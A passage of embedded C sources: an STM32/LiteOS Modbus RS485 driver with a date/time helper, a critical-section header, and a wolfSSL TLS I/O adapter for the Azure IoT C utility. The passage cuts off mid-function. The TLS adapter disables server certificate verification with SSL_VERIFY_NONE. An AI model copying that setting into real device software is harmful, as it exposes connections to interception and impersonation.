RS485_USART_RX_GPIO_CLK|RS485_USART_TX_GPIO_CLK, ENABLE); /* Enable UART2 clock */ RCC_APB1PeriphClockCmd(RS485_USART_CLK, ENABLE); /* Connect PXx to USARTx_Tx*/ GPIO_PinAFConfig(RS485_USART_RX_GPIO_PORT, RS485_USART_RX_SOURCE, RS485_USART_RX_AF); /* Connect PXx to USARTx_Rx*/ GPIO_PinAFConfig(RS485_USART_TX_GPIO_PORT, RS485_USART_TX_SOURCE, RS485_USART_TX_AF); /* Configure USART Tx as alternate function */ GPIO_InitStructure.GPIO_OType = GPIO_OType_PP; GPIO_InitStructure.GPIO_PuPd = GPIO_PuPd_UP; GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF; GPIO_InitStructure.GPIO_Pin = RS485_USART_TX_PIN ; GPIO_InitStructure.GPIO_Speed = GPIO_Speed_50MHz; GPIO_Init(RS485_USART_TX_GPIO_PORT, &GPIO_InitStructure); /* Configure USART Rx as alternate function */ GPIO_InitStructure.GPIO_Mode = GPIO_Mode_AF; GPIO_InitStructure.GPIO_Pin = RS485_USART_RX_PIN; GPIO_Init(RS485_USART_RX_GPIO_PORT, &GPIO_InitStructure); /* USART2 mode config */ USART_InitStructure.USART_BaudRate = RS485_USART_BAUDRATE; USART_InitStructure.USART_WordLength = USART_WordLength_8b; USART_InitStructure.USART_StopBits = USART_StopBits_1; USART_InitStructure.USART_Parity = USART_Parity_No ; USART_InitStructure.USART_HardwareFlowControl = USART_HardwareFlowControl_None; USART_InitStructure.USART_Mode = USART_Mode_Rx | USART_Mode_Tx; USART_Init(RS485_USART, &USART_InitStructure); USART_Cmd(RS485_USART, ENABLE); USART_ClearFlag(RS485_USART, USART_FLAG_TC); /** ๆณจๅ†Œ USART2 ไธญๆ–ญ */ LOS_HwiCreate(USART2_IRQn, 0, 0, USART2_IRQHandler, NULL); /** ้…็ฝฎ USART2 ็š„ๆŽฅๆ”ถไธญๆ–ญ - USART2_IRQn */ NVIC_InitStructure.NVIC_IRQChannel=USART2_IRQn; //ไธญๆ–ญ NVIC_InitStructure.NVIC_IRQChannelPreemptionPriority=0x01; //ๆŠขๅ ไผ˜ๅ…ˆ็บง1 NVIC_InitStructure.NVIC_IRQChannelSubPriority=0x00; //ๅญไผ˜ๅ…ˆ็บง 0 NVIC_InitStructure.NVIC_IRQChannelCmd=ENABLE; NVIC_Init(&NVIC_InitStructure); USART_ITConfig(RS485_USART, USART_IT_RXNE, ENABLE); //Receive Data register not empty interrupt } /** * 1. usart2 ไธญๆ–ญๆŽฅๆ”ถไฝฟ่ƒฝ, ๅช้œ€่ฆๆŽฅๆ”ถ LPC ไธŠ้€็š„rs485 ๆ•ฐๆฎ * 2. USART2 ๆฏๆฌกไธญๆ–ญ ไป… ไผšๆŽฅๆ”ถ 1 ไธช byte ็š„ๆ•ฐๆฎ, ๆ‰€ไปฅๆฏๆฌก่ฟ›ๅ…ฅไธญๆ–ญ uRecvLen++ ๅŸบๆœฌ * ๅฐฑ่ƒฝๅๅบ”ๅ‡บไธฒๅฃๆ”ถๅˆฐ็š„ไธ€ๆฎตๅญ—็ฌฆไธฒ็š„ๆ€ป้•ฟๅบฆไบ†. */ void USART2_IRQHandler(void) { /** Clear Int Flag */ /** RXNE pending bit can be also cleared by a read to the USART_DR register (USART_ReceiveData()) */ if(USART_GetITStatus(RS485_USART, USART_IT_RXNE) != RESET) { //uBuffRecv[uCountRecv++] = USART_ReceiveData(RS485_USART); uBuffRecv[uRecvLen++] = USART_ReceiveData(RS485_USART); //uCountRecv &= 0x7F; /** ็Žฏๅž‹ๆ•ฐ็ป„ไธ‹ๆ ‡็š„ๅค„็†, ่ฟ™้‡Œๆฏไธ€่ฝฎๆŽฅๆ”ถๅนถๅค„็†่ฟ‡ๅญ—็ฌฆไธฒไน‹ๅŽ, uBuffRecv[] ็š„ไธ‹ๆ ‡ index ไผš้‡ๆ–ฐ่ฐƒๆ•ดๅˆฐ 0 ไธ‹ๆ ‡, ๆ‰€ไปฅไธ็”จ่€ƒ่™‘ๅ†™ๆ•ฐ็ป„่ถ…่ฟ‡ไธ€ๅœˆ็š„ๆƒ…ๅ†ต */ uRecvLen &= 0x7F; } if(USART_GetFlagStatus(RS485_USART, USART_FLAG_ORE) == SET ) // if ๆบขๅ‡บ { USART_ClearFlag(RS485_USART, USART_FLAG_ORE); USART_ReceiveData(RS485_USART); } } /** * Receive - Step1. * 1. @param uint8_t *pRecv , ไธฒๅฃไธญๆ–ญๆŽฅๆ”ถ็ผ“ๅญ˜ๆ•ฐๆฎ้ฆ–ๅœฐๅ€ * @parma uint16_t uLen , ๅ‰ไธ€ๆฌกๅฎŒๆ•ด็š„ไธฒๅฃไธญๆ–ญๆŽฅๆ”ถๅˆฐ็š„ byte ๆ•ฐๆฎ้•ฟๅบฆ, ๅฏนๅบ” uBuffRecv */ void Moubus_OnRecvive(TBuffModbus *pBuff) { uint16_t i=0; /** * 1. ๆฏๆฌกๆŽฅๆ”ถๅฎŒ uBuffRecv[] ไธฒๅฃไธญๆ–ญ็ผ“ๅญ˜ๆ•ฐๆฎไน‹ๅŽ, ไผšๅฏน uRecvLen / uCountRecv ๅšๆธ…้›ถๆ“ไฝœ, * ๅฏน uCountRecv ็š„ๆธ…้›ถๆ“ไฝœ่กจ็คบ uBuffRecv[] ไธ‹ๆ ‡ๆขๅคๅˆฐ 0 ๅผ€ๅง‹, * ๅŒๆ—ถ่ฆๅฏน uBuffRecv[] ๅ…จ้ƒจๆธ…้›ถ, ไปฅๅค‡ไธ‹ๆฌกไธฒๅฃไธญๆ–ญๆŽฅๆ”ถๆ•ฐๆฎ */ // if(0 == uLen) if(0 == uRecvLen) { RS485_RX_ON_TX_OFF; return; /** ่กจ็คบไธฒๅฃไธญๆ–ญๆ— ๆ–ฐๅˆฐ่พพ็š„ๆ•ฐๆฎ, ไธ”็กฎไฟ ไธฒๅฃๆŽฅๆ”ถไฝฟ่ƒฝ */ } /** ๅค„็†ๅ‰ไธ€ๆฌกไธฒๅฃๆŽฅๅˆฐ็š„ๅ…จ้ƒจๆ•ฐๆฎ, ๆ‰€ไปฅๅ…ˆ disable ไธฒๅฃๆŽฅๆ”ถ, ๅฝ“่งฃๆžๅฎŒๆฏ•ๅŽๅ† enable... */ RS485_TX_ON_RX_OFF; /** ๅผ€ๅง‹ๅค„็†ๅ‰ไธ€ๆฌก็š„ไธฒๅฃไธญๆ–ญๆŽฅๆ”ถๆฅ็š„ๅ…จ้ƒจๆ•ฐๆฎ, */ /** 1. ่ฟ™้‡Œ uLen ้•ฟๅบฆ == uRecvLen */ for(i=0; i< uRecvLen; i++) { Modbus_OnReceiveOneByte(pBuff, uBuffRecv[i]); } uRecvLen = 0; memset(uBuffRecv, 0, sizeof(uBuffRecv)); RS485_RX_ON_TX_OFF; /** ๅ‰ไธ€ๆฌกไธฒๅฃๆ•ฐๆฎๅ…จ้ƒจๆฏไธช byte ่งฃๆžๅฎŒๆฏ•, ๆ นๆฎๆ˜ฏๅฆๆ˜ฏไธ€ไธชๆœ‰ๆ•ˆๆŠฅๆ–‡ packet ๅ†ณๅฎšไธ‹ไธ€ๆญฅ */ /** 1. ่‹ฅๆ˜ฏไธ€ๅธงๅฎŒๆ•ด็š„ๆŠฅๆ–‡, ๅˆ™ไผšๆœ‰ CRC ๆ ก้ชŒ ok */ } /** * Receive - Step2. * 1.ๅ•ไธชๅญ—่Š‚่งฃๆžๆŽฅๆ”ถๅˆฐ็š„ๆŠฅๆ–‡ */ static void Modbus_OnReceiveOneByte(TBuffModbus *pBuff, uint8_t uChar) { uint16_t uCRC; if(pBuff->bSend==FALSE && pBuff->bNew==FALSE && pBuff->RxCount<NUM_RX_BUFF) { /** ไธๅœจๅ‘้€็Šถๆ€, ๅนถไธ”ๅฝ“ๅ‰ๆฒกๆœ‰ๆ–ฐ็š„ๆŠฅๆ–‡packet */ /** ๆธ…่ถ…ๆ—ถ่ฎกๆ•ฐ */ //pBuff->RxTimer = 0; pBuff->RxBuff[pBuff->RxCount++] = uChar; if(0x01 == pBuff->RxCount) /** 1. ไปŽๆœบ modbus ๅœฐๅ€ */ { if(MODBUS_ADDRESS_SLAVE == uChar) { pBuff->modbusRxCRC = 0xFFFF; Modbus_Crc16(pBuff, uChar); } else { pBuff->RxCount = 0x00; } } else if(0x02 == pBuff->RxCount) /** 2. ๅŠŸ่ƒฝ็  */ { if(MODBUS_03 == uChar) { pBuff->modbusCode = uChar; Modbus_Crc16(pBuff, uChar); } else { pBuff->RxCount = 0x00; } } else if(0x03 == pBuff->RxCount) /** ๆ•ฐๆฎ้•ฟๅบฆ bytes */ { /** ๆ นๆฎๅŠŸ่ƒฝ็ ไธๅŒ, ๅค„็†ๆ–นๅผๅ„ไธ็›ธๅŒ */ switch(pBuff->modbusCode) { case MODBUS_03: { pBuff->RxLen = 0x06; break; } default: break; } Modbus_Crc16(pBuff, uChar); } else if(pBuff->RxCount>=4 && pBuff->RxCount<=pBuff->RxLen) /** ๆ•ฐๆฎ DU ๅŸŸ */ { Modbus_Crc16(pBuff, uChar); } else if(pBuff->RxCount == (pBuff->RxLen+2)) /** CRC ๆ ก้ชŒ 2 bytes */ { uCRC = MAKEWORD(pBuff->RxBuff[pBuff->RxCount-2], uChar); if(pBuff->modbusRxCRC == uCRC) { pBuff->bNew = TRUE; /** CRC ๆ ก้ชŒๅฎŒๆฏ•ไน‹ๅŽ, ไผšๆ ‡่ฎฐๆœ‰ๆ–ฐ็š„ ๆŠฅๆ–‡ */ } else { pBuff->RxCount = 0x00; } } }//if(pBuff->bSend==FALSE ...) } /***/ void Modbus_OnSendByFIFO(uint8_t *pSendBuf, uint16_t uSendLen) { uint16_t uSeq; RS485_TX_ON_RX_OFF; /** Enable Send Mode */ for(uSeq = 0; uSeq < uSendLen; uSeq++) { USART_SendData(RS485_USART, pSendBuf[uSeq]); while( USART_GetFlagStatus(RS485_USART, USART_FLAG_TXE) == RESET ); } } /** * @2018-05-19 * 1. stm32 send ๆ•ฐๆฎๆ—ถๅฏไปฅไธ่€ƒ่™‘ๅ‘้€ fifo ็š„ๆƒ…ๅ†ต, ่ฟ™ไธชๅ‡ฝๆ•ฐไธญ, ๅ…จ้ƒจๅพ…ๅ‘้€็š„ๆ•ฐๆฎ้ƒฝๆ˜ฏ 1 ๆฌก้˜ปๅกžๅœจ Modbus_OnSendByFIFO() * ๅ‡ฝๆ•ฐไธญๅ…จ้ƒจๅ‘้€ๅฎŒๆฏ•, ็„ถๅŽๆ‰็ป“ๆŸๅ‘้€้˜ปๅกž. */ void Modbus_OnSend(TBuffModbus *pBuff) { uint16_t uSendPerLeft=0; if(TRUE == pBuff->bSend) /** ๅ‰้ข็š„ๅ‡ฝๆ•ฐๅทฒ็ป็ป„็ป‡ๅฎŒๆฏ• Modbus ๆŠฅๆ–‡,ๅœจๅ‡†ๅค‡ๅ‘้€ๆ•ฐๆฎ็š„็Šถๆ€ */ { /** ๅค„็† send FIFO ้•ฟๅบฆไน‹ๅŽ่ฐƒ็”จ Modbus_OnSendByFIFO() */ if(pBuff->TxCount < pBuff->TxLen) { uSendPerLeft = pBuff->TxLen - pBuff->TxCount; /** ๅฝ“ๅ‰ๅ‰ฉไธ‹ๅคšๅฐ‘ๆ•ฐๆฎๅพ…ๅ‘้€ */ Modbus_OnSendByFIFO(&pBuff->TxBuff[pBuff->TxCount], uSendPerLeft); pBuff->TxCount += uSendPerLeft; } else if(pBuff->TxCount >= pBuff->TxLen) { // ๅˆ†ๆ”ฏ : ๆœฌๆฌก้œ€ๅ‘้€็š„ๆ•ฐๆฎ้ƒฝๅทฒ็ปๅ‘้€ๅฎŒๆฏ• if(USART_GetFlagStatus(RS485_USART, USART_FLAG_TXE) == SET) { pBuff->bSend = FALSE; pBuff->TxCount = 0; RS485_RX_ON_TX_OFF; /** Enable RS485 receive */ } }// if(TRUE == pBuff->bSend) } } /** LiteOS ็ซฏ ่งฃๆžๅนถ ็ป„็ป‡ๅพ…ๅ›žๅค็š„ Modbus ๆŠฅๆ–‡ๅ†…ๅฎน */ void Mobus_ParserMsg(TBuffModbus *pBuff) { uint8_t uClassID = 0; uint16_t uDataLen = 0; if(NULL == pBuff) { return; } /** ่งฃๆž ๅบ”ๅฏนๆŠฅๆ–‡ */ if(MODBUS_03 == pBuff->modbusCode) { // ๆ•ฐๆฎ้•ฟๅบฆ - ไปŽๆœบๅบ”็ญ”็š„ DU ๅŸŸ้•ฟๅบฆ uDataLen = pBuff->RxBuff[2]; // ๅฏ„ๅญ˜ๅ™จ็ฑปๅˆซ - ไปŽๆœบๅบ”็ญ”็š„ๆŠฅๆ–‡ไธญ DU ๅŸŸ็ฌฌ 1 ไธชๅญ—่Š‚ๆ˜ฏ ไธปๆœบ่ฏทๆฑ‚ ็š„ๅฏ„ๅญ˜ๅ™จ็ฑปๅˆซ uClassID = pBuff->RxBuff[3]; switch(uClassID){ case MODBUS_03_SUB_06:{ // Motor State SetMotorStatusNow((pBuff->RxBuff[5] & 0x07)); /* ็”ตๅŠจๆœบ็Šถๆ€ๅชไธŽๆŠฅๆ–‡่ฟ™ไธช Byte ไธญ็š„ไฝŽ 3 bitๆœ‰ๅ…ณ */ break; } case MODBUS_03_SUB_07:{ // Motor Measure stMotor.Measure.Meas_Ia = pBuff->RxBuff[4]; break; } default:{ return; } } } else { return; //ไธๆ”ฏๆŒ็š„ๅŠŸ่ƒฝ็  } /** ่งฃๆžๅฎŒๆฏ• Modbus ๆŠฅๆ–‡ไน‹ๅŽ,ๆ‰ๅฏไปฅ็ฝฎ 0 ๅ’Œ FALSE, ไธบไธ‹ๆฌกๆŽฅๆ”ถๆŠฅๆ–‡ๅšๅ‡†ๅค‡... */ pBuff->RxCount = 0; pBuff->bNew = FALSE; } /***/ void ModbusProc_InTask(TBuffModbus *pBuff) { if(NULL == pBuff) { return; } Moubus_OnRecvive(&stBufModbus); if(TRUE == pBuff->bNew) /** received one new packet */ { LED1_OFF; LED2_ON; LED3_OFF; Mobus_ParserMsg(&stBufModbus); } } /** * 1. ๆฃ€ๆŸฅๆ—ถ้—ดๆ˜ฏๅฆๅˆๆณ• */ // One-based array of days in year at month start static const uint16_t _MonthDays[13] = {0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365}; //ๅˆคๆ–ญๆ˜ฏๅฆๆ˜ฏ้—ฐๅนด /* ้—ฐๅนดๆœ‰ไธค็งๆƒ…ๅ†ต๏ผŒ่ฎพๅนดไปฝไธบyear๏ผŒๅˆ™๏ผš ๏ผˆ1๏ผ‰ๅฝ“yearๆ˜ฏ400็š„ๆ•ดๅ€ๆ•ฐๆ—ถไธบ้—ฐๅนด๏ผŒๆกไปถ่กจ็คบไธบ๏ผš year%400= =0 ๏ผˆ2๏ผ‰ๅฝ“yearๆ˜ฏ4็š„ๆ•ดๅ€ๆ•ฐ๏ผŒไฝ†ไธๆ˜ฏ100็š„ๆ•ดๅ€ๆ•ฐๆ—ถไธบ้—ฐๅนด๏ผŒๆกไปถไธบ๏ผš year%4= =0 && year%100 != 0 */ #define IsLeapYear(nYear) ((((nYear) & 3) == 0) && (((nYear) % 100) != 0 || ((nYear) % 400) == 0)) //่ฎก็ฎ—ๆŸๅนดๆŸๆœˆๆœ‰ๅคšๅฐ‘ๅคฉ #define GetDaysInMonth(nYear, nMon) (_MonthDays[nMon] - _MonthDays[(nMon)-1] + (((nMon) == 2 && IsLeapYear(nYear)) ? 1 : 0)) uint8_t CheckOSTime(TDateTime * pTime) { // Validate year and month (ignore day of week and milliseconds) if (pTime->y > 99 || pTime->mon < 1 || pTime->mon > 12) return FALSE; // Finish validating the date if (pTime->d < 1 || pTime->d > GetDaysInMonth(pTime->y, pTime->mon) || pTime->h > 23 || pTime->min > 59 || pTime->s > 59 || pTime->ms>999) { return FALSE; } return TRUE; } /** * 1.็ณป็ปŸๆ—ถ้’Ÿๅˆๅง‹ๅŒ– */ void InitOSTime(TDateTime * pTime) { stNowTime.y = 18; stNowTime.mon = 1; stNowTime.d = 1; stNowTime.h = 0; stNowTime.min = 0; stNowTime.s = 0; stNowTime.ms = 0; CheckOSTime(&stNowTime); } /** * 1.ไปฅ็ง’ไธบๅ•ไฝๆ—ถ้—ด้€’ๅขž, ไผšๅœจ los_tick.c ไธญ่ฐƒ็”จ */ void OSTimeAddSecond(TDateTime * pTime) { uint16_t nDaysInMonth; pTime->s++; if(pTime->s >= 60) { pTime->s = 0; pTime->min++; if(pTime->min >= 60) { pTime->min = 0; pTime->h++; if(pTime->h >= 24) { pTime->h = 0; pTime->d++; //่ฎก็ฎ—ๅฝ“ๅ‰ๆœˆๆœ‰ๅคšๅฐ‘ๅคฉ nDaysInMonth =GetDaysInMonth(pTime->y, pTime->mon); if(pTime->d > nDaysInMonth) //่ถ…่ฟ‡ไธ€ไธชๆœˆ { if(pTime->mon==12) { //ไธ‹ไธ€ๅนด pTime->d = 1; pTime->mon = 1; pTime->y++; } else { pTime->d = 1; pTime->mon++; } } } } } } ``` CriticalSeg.h ```/* *********************************************************************************** * *ๅŠŸ่ƒฝ๏ผš * * * *่ฏดๆ˜Ž๏ผš1. * 2. * 3. * * *By :Liubing๏ผˆๅผ€ๅฟƒๅฐฑๅฅฝ๏ผ‰ *Contact :371007204@qq.com *History :2015/1/27 9:01:07 *********************************************************************************** */ #ifndef _CRITICALSEG_H_ #define _CRITICALSEG_H_ #include "lb_type.h" #ifdef _CRITICALSEG_C_ #define CRITICALSEG_EXT #else #define CRITICALSEG_EXT extern #endif #ifdef _CRITICALSEG_C_ #endif #define OS_ENTER_CRITICAL STM32_DisableIRQ() #define OS_EXIT_CRITICAL STM32_EnableIRQ() CRITICALSEG_EXT void STM32_EnableIRQ( void ); CRITICALSEG_EXT void STM32_DisableIRQ( void ); #endif ``` tlsio_ssl_liteos.c ```// Copyright (c) Microsoft. All rights reserved. // Licensed under the MIT license. See LICENSE file in the project root for full license information. #include <stdlib.h> #ifdef _CRTDBG_MAP_ALLOC #include <crtdbg.h> #endif #define WOLFSSL_OPTIONS_IGNORE_SYS #include "wolfssl/options.h" #include "wolfssl/ssl.h" #include "wolfssl/error-ssl.h" #if 1//def FREERTOS_ARCH_ESP8266 //#include "openssl/ssl.h" #include "lwip/opt.h" #include "lwip/sockets.h" #include "lwip/sys.h" #else //mock header #include "liteos_mock.h" #include "azure_c_shared_utility/gballoc.h" #endif #include <stdio.h> #include <stdbool.h> #include "azure_c_shared_utility/lock.h" #include "azure_c_shared_utility/tlsio_openssl.h" #include "azure_c_shared_utility/tlsio.h" #include "azure_c_shared_utility/socketio.h" #include "azure_c_shared_utility/xlogging.h" #include "azure_c_shared_utility/crt_abstractions.h" #include "azure_c_shared_utility/threadapi.h" #define OPENSSL_FRAGMENT_SIZE 5120 #define OPENSSL_LOCAL_TCP_PORT 1000 #define MAX_RETRY 20 #define RETRY_DELAY 1000 * 1000 * 10 // 10s #define RECEIVE_BUFFER_SIZE 1024 #define OPENSSL_SELECT_TIMEOUT 20 #define os_delay_us(x) ThreadAPI_Sleep((x)/1000) struct timeval timeout = { OPENSSL_SELECT_TIMEOUT, 0 }; typedef enum TLSIO_STATE_TAG { TLSIO_STATE_NOT_OPEN, TLSIO_STATE_OPENING, TLSIO_STATE_OPEN, TLSIO_STATE_CLOSING, TLSIO_STATE_ERROR } TLSIO_STATE; typedef struct TLS_IO_INSTANCE_TAG { ON_BYTES_RECEIVED on_bytes_received; ON_IO_OPEN_COMPLETE on_io_open_complete; ON_IO_CLOSE_COMPLETE on_io_close_complete; ON_IO_ERROR on_io_error; void* on_bytes_received_context; void* on_io_open_complete_context; void* on_io_close_complete_context; void* on_io_error_context; WOLFSSL* ssl; WOLFSSL_CTX* ssl_context; TLSIO_STATE tlsio_state; char* hostname; int port; char* certificate; const char* x509certificate; const char* x509privatekey; int sock; ip_addr_t target_ip; } TLS_IO_INSTANCE; /*this function destroys an option previously created*/ static void tlsio_openssl_DestroyOption(const char* name, const void* value) { /*since all options for this layer are actually string copies, disposing of one is just calling free*/ if ( (name == NULL) || (value == NULL) ) { LogError("invalid parameter detected: const char* name=%p, const void* value=%p", name, value); } else { if ( (strcmp(name, "TrustedCerts") == 0) || (strcmp(name, "x509certificate") == 0) || (strcmp(name, "x509privatekey") == 0) ) { platform_free((void*)value); } else { LogError("not handled option : %s", name); } } } static OPTIONHANDLER_HANDLE tlsio_openssl_retrieveoptions(CONCRETE_IO_HANDLE tlsio_handle) { (void)(tlsio_handle); /* Not implementing any options */ return NULL; } static const IO_INTERFACE_DESCRIPTION tlsio_openssl_interface_description = { tlsio_openssl_retrieveoptions, tlsio_openssl_create, tlsio_openssl_destroy, tlsio_openssl_open, tlsio_openssl_close, tlsio_openssl_send, tlsio_openssl_dowork, tlsio_openssl_setoption }; static void indicate_open_complete(TLS_IO_INSTANCE* tls_io_instance, IO_OPEN_RESULT open_result) { if (tls_io_instance->on_io_open_complete == NULL) { LogError("NULL on_io_open_complete."); } else { tls_io_instance->on_io_open_complete(tls_io_instance->on_io_open_complete_context, open_result); } } static int lwip_net_errno(int fd) { int sock_errno = 0; u32_t optlen = sizeof(sock_errno); getsockopt(fd, SOL_SOCKET, SO_ERROR, &sock_errno, &optlen); return sock_errno; } static void lwip_set_non_block(int fd) { int flags = -1; int error = 0; while((void)1,1){ flags = fcntl(fd, F_GETFL, 0); if (flags == -1){ error = lwip_net_errno(fd); if (error != EINTR){ break; } } else{ break; } } fcntl(fd, F_SETFL, O_NONBLOCK); } static int openssl_thread_LWIP_CONNECTION(TLS_IO_INSTANCE* p) { //LogInfo("openssl_thread_LWIP_CONNECTION begin: %d", system_get_free_heap_size()); //system_show_malloc(); int result = 0; int ret = 0; int ret_test = 0; int sock; struct sockaddr_in sock_addr; fd_set readset; fd_set writeset; fd_set errset; WOLFSSL_CTX *ctx; WOLFSSL *ssl; TLS_IO_INSTANCE* tls_io_instance = p; LogInfo("OpenSSL thread start..."); { LogInfo("create SSL context"); ctx = wolfSSL_CTX_new(wolfTLSv1_2_client_method()); if (ctx == NULL) { result = __LINE__; LogError("create new SSL CTX failed"); } else { tls_io_instance->ssl_context = ctx; LogInfo("set SSL context read buffer size"); //wolfSSL_CTX_set_read_ahead(ctx, OPENSSL_FRAGMENT_SIZE); // LogInfo("create socket ......"); // LogInfo("size before creating socket: %d", system_get_free_heap_size()); sock = socket(AF_INET, SOCK_STREAM, 0); if (sock < 0) { result = __LINE__; LogError("create socket failed"); } else { int keepAlive = 1; //enable keepalive int keepIdle = 20; //20s int keepInterval = 2; //2s int keepCount = 3; //retry # of times tls_io_instance->sock = sock; LogInfo("sock: %d", sock); LogInfo("create socket OK"); LogInfo("set socket keep-alive "); ret = 0; ret_test = setsockopt(sock, SOL_SOCKET, SO_KEEPALIVE, (void *)&keepAlive, sizeof(keepAlive)); ret += ret_test?1:0; ret_test = setsockopt(sock, IPPROTO_TCP, TCP_KEEPIDLE, (void *)&keepIdle, sizeof(keepIdle)); ret += ret_test?1:0; ret_test = setsockopt(sock, IPPROTO_TCP, TCP_KEEPINTVL, (void *)&keepInterval, sizeof(keepInterval)); ret += ret_test?1:0; ret_test = setsockopt(sock, IPPROTO_TCP, TCP_KEEPCNT, (void *)&keepCount, sizeof(keepCount)); ret += ret_test?1:0; if (ret != 0){ result = __LINE__; LogError("set socket keep-alive failed, ret = %d ", ret); } else { LogInfo("set socket keep-alive OK"); lwip_set_non_block(sock); LogInfo("bind socket ......"); memset(&sock_addr, 0, sizeof(sock_addr)); sock_addr.sin_family = AF_INET; sock_addr.sin_addr.s_addr = 0; sock_addr.sin_port = 0; // random local port ret = bind(sock, (struct sockaddr*)&sock_addr, sizeof(sock_addr)); // LogInfo("bind return: %d", ret); if (ret != 0) { result = __LINE__; LogError("bind socket failed"); } else { LogInfo("bind socket OK"); memset(&sock_addr, 0, sizeof(sock_addr)); sock_addr.sin_family = AF_INET; sock_addr.sin_addr.s_addr = tls_io_instance->target_ip.addr; sock_addr.sin_port = (u16_t)htons(tls_io_instance->port); ret = connect(sock, (struct sockaddr*)&sock_addr, sizeof(sock_addr)); //LogInfo("connect return: %d %s", ret, ip_ntoa(&tls_io_instance->target_ip)); //LogInfo("EINPROGRESS: %d", EINPROGRESS); if (ret == -1) { ret = lwip_net_errno(sock); LogInfo("lwip_net_errno ret: %d", ret); if (ret != 115) { // EINPROGRESS result = __LINE__; ret = -1; LogError("socket connect failed, not EINPROGRESS %s", tls_io_instance->hostname); } } if(ret != -1) { FD_ZERO(&readset); FD_ZERO(&writeset); FD_ZERO(&errset); FD_SET(sock, &readset); FD_SET(sock, &writeset); FD_SET(sock, &errset); ret = lwip_select(sock + 1, NULL, &writeset, &errset, NULL); if (ret <= 0) { result = __LINE__; LogError("select failed: %d", lwip_net_errno(sock)); } else { if (!FD_ISSET(sock, &writeset) || FD_ISSET(sock, &errset)) { result = __LINE__; LogError("socket Error: %d", lwip_net_errno(sock)); }else { { LogInfo("Socket Connect OK"); wolfSSL_CTX_set_verify(ctx,SSL_VERIFY_NONE,0); ssl = wolfSSL_new(ctx); //LogInfo("after ssl new"); if (ssl == NULL) { result = __LINE__; LogError("create ssl failed"); } else { tls_io_instance->ssl = ssl; // LogInfo("SSL set fd"); ret = wolfSSL_set_fd(ssl, sock); LogInfo("SSL_set_fd ret:%d", ret); if (ret != 1){ result = __LINE__; LogError("SSL_set_fd failed"); } else{ int retry_connect = 0; int connect_succeeded = false; LogInfo("SSL connect... "); FD_ZERO(&readset); FD_SET(sock, &readset); FD_ZERO(&writeset); FD_SET(sock, &writeset); FD_ZERO(&errset); FD_SET(sock, &errset); while (retry_connect < MAX_RETRY) { int ssl_state; ret = lwip_select(sock + 1, &readset, &writeset, &errset, &timeout); if (ret == 0) { result = __LINE__; LogInfo("SSL connect timeout"); break; } if (FD_ISSET(sock, &errset)) { unsigned int len; result = __LINE__; LogInfo("error return : %d", lwip_net_errno(sock)); len = (unsigned int) sizeof( int ); if (0 != getsockopt (sock, SOL_SOCKET, SO_ERROR, &ret, &len)) LogInfo("SSL error ret : %d", ret); // socket is in error state break; } ret = wolfSSL_connect(ssl); if (ret == 1) { // ssl connect success connect_succeeded = true; break; } FD_ZERO(&readset); FD_ZERO(&writeset); FD_ZERO(&errset); FD_SET(sock, &errset); ssl_state = wolfSSL_get_error(ssl, ret); if (ssl_state == SSL_ERROR_WANT_READ) { FD_SET(sock, &readset); } else if(ssl_state == SSL_ERROR_WANT_WRITE) { FD_SET(sock, &writeset); } else { LogInfo("SSL state:%d", ssl_state); result = __LINE__; break; } retry_connect = retry_connect + 1; //LogInfo("SSL connect retry: %d", retry_connect); os_delay_us(RETRY_DELAY); } if (connect_succeeded == false) { result = __LINE__; LogError("SSL_connect failed"); }else{ LogInfo("SSL connect ok"); result = 0; } } } } } } } } } } } } //LogInfo("openssl_thread_LWIP_CONNECTION end: %d", system_get_free_heap_size()); if(result!=0){ tls_io_instance->tlsio_state = TLSIO_STATE_ERROR; } return result; } static int decode_ssl_received_bytes(TLS_IO_INSTANCE* tls_io_instance) { int result; unsigned char buffer[RECEIVE_BUFFER_SIZE]; int rcv_bytes; rcv_bytes = wolfSSL_read(tls_io_instance->ssl, buffer, sizeof(buffer)); // LogInfo("ssl_read: rcv_bytes %d", rcv_bytes); if (rcv_bytes >= 0) { result = 0; if (tls_io_instance->on_bytes_received == NULL) { LogError("NULL on_bytes_received."); } else { tls_io_instance->on_bytes_received(tls_io_instance->on_bytes_received_context, buffer, rcv_bytes); } } else{ result = __LINE__; } return result; } static int destroy_openssl_instance(TLS_IO_INSTANCE* tls_io_instance) { int result = 0; //LogInfo("destroy openssl begin: %d", system_get_free_heap_size()); if (tls_io_instance != NULL) { if (tls_io_instance->ssl != NULL) { wolfSSL_free(tls_io_instance->ssl); tls_io_instance->ssl = NULL; LogInfo("SSL_free"); } if (tls_io_instance->sock >= 0) { int close_ret = close(tls_io_instance->sock); if (close_ret != 0){ result = __LINE__;; LogError("close socket failed"); } LogInfo("close socket"); } if (tls_io_instance->ssl_context != NULL) { wolfSSL_CTX_free(tls_io_instance->ssl_context); tls_io_instance->ssl_context = NULL; LogInfo("SSL_ctx_free"); } //LogInfo("destroy end: %d", system_get_free_heap_size()); } return result; } CONCRETE_IO_HANDLE tlsio_openssl_create(void* io_create_parameters) { //LogInfo("tlsio_openssl_create begin: %d", system_get_free_heap_size()); TLSIO_CONFIG* tls_io_config = (TLSIO_CONFIG*)io_create_parameters; TLS_IO_INSTANCE* result; if (tls_io_config == NULL) { result = NULL; LogError("NULL tls_io_config."); } else { result = (TLS_IO_INSTANCE*) platform_malloc(sizeof(TLS_IO_INSTANCE)); if (result == NULL) { LogError("Failed allocating TLSIO instance."); } else { memset(result, 0, sizeof(TLS_IO_INSTANCE)); mallocAndStrcpy_s(&result->hostname, tls_io_config->hostname); result->port = (int)tls_io_config->port; result->ssl_context = NULL; result->ssl = NULL; result->certificate = NULL; result->on_bytes_received = NULL; result->on_bytes_received_context = NULL; result->on_io_open_complete = NULL; result->on_io_open_complete_context = NULL; result->on_io_close_complete = NULL; result->on_io_close_complete_context = NULL; result->on_io_error = NULL; result->on_io_error_context = NULL; result->tlsio_state = TLSIO_STATE_NOT_OPEN; result->x509certificate = NULL; result->x509privatekey = NULL; } } return (CONCRETE_IO_HANDLE)result; } void tlsio_openssl_destroy(CONCRETE_IO_HANDLE tls_io) { TLS_IO_INSTANCE* tls_io_instance = (TLS_IO_INSTANCE*)tls_io; if (tls_io == NULL) { LogError("NULL tls_io."); } else { if ((tls_io_instance->tlsio_state == TLSIO_STATE_OPENING) || (tls_io_instance->tlsio_state == TLSIO_STATE_OPEN) || (tls_io_instance->tlsio_state == TLSIO_STATE_CLOSING)) { LogError("TLS 